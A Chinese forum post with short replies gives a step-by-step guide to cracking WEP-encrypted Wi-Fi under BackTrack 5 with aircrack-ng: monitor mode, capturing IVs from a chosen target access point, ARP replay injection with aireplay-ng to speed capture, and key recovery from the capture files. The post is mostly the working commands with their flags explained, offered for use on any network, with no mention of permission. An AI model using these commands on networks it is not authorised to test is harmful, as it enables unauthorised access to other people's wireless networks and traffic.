本人在BT5下用aircrack成功PJWEP WPA的心得（一）

qq12012

一、WEP
WEPPJ起来比较简单
1、打开一个SHELL，用ifconfig -a查看无线网卡是否识别（同时查看是否UP，这个在BT5中似乎默认就是UP了的，至少在我的电脑上是）
2、如果没有UP，输入ifconfig wlan0 up
3、接下来将网卡至于MON模式，airmon-ng start wlan0
4、开始扫描所有WEP模式加密的AP，airodump-ng -t wep mon0
5、选定要攻击的AP后开始抓包，airodump-ng -d 00ff****** -c 13 -i -w MyAp mon0
     -d 参数后面跟目标AP的MAC
     -c 参数后面跟目标AP所在的CH
     -i  参数表示抓IVS
     -w 参数后跟所要保存IVS的文件名
6、再开一个SHELL，用aireplay-ng进行攻击，加快抓包速度
     aireplay-ng -3 -d 00ff***** -h 442a***** mon0
      -3 表示攻击模式，常用就这个就行
      -d 参数后跟目标AP的MAC，这个命令也可以用-e 后面跟AP的名字取代
      -h 你在airodump-ng抓包窗口中看到的连接到AP上的客户端的MAC
7、在抓包的同时你可以随时进行PJ，在你运行airodump-ng时的目录下面可以看到你抓到的ivs文件，按照上面命令你会看到的是MyAp-01.ivs，切换到你运行airodump-ng时的目录，然后执行
     aircrack-ng MyAp-01.ivs
    基本上ivs在15000以上就能PJ了，运气好10000左右也可以
8、最后用命令行方式有一个好处就是抓包可以多次，分别抓包后形成的ivs大致像MyAp-01.ivs MyAp-02.ivs这样顺序排下去的，在PJ的时候，可以用aircrack-ng MyAp*.ivs就可以一次读入多个文件统一进行PJ。

ramon_lee

WEP 是没有问题的，主要还是WPA的

szkent

WPA的心得（一）呢？

pozuelo

谢谢分享，谢谢分享

czk1925

谢谢经验分享

cs6701

学习学习学习

lierwang

话说我还是不懂

creativityzhq

你这个貌似是在哪摘得吧

┛ˇ﹎剘騙□ωo

无图无真相。。。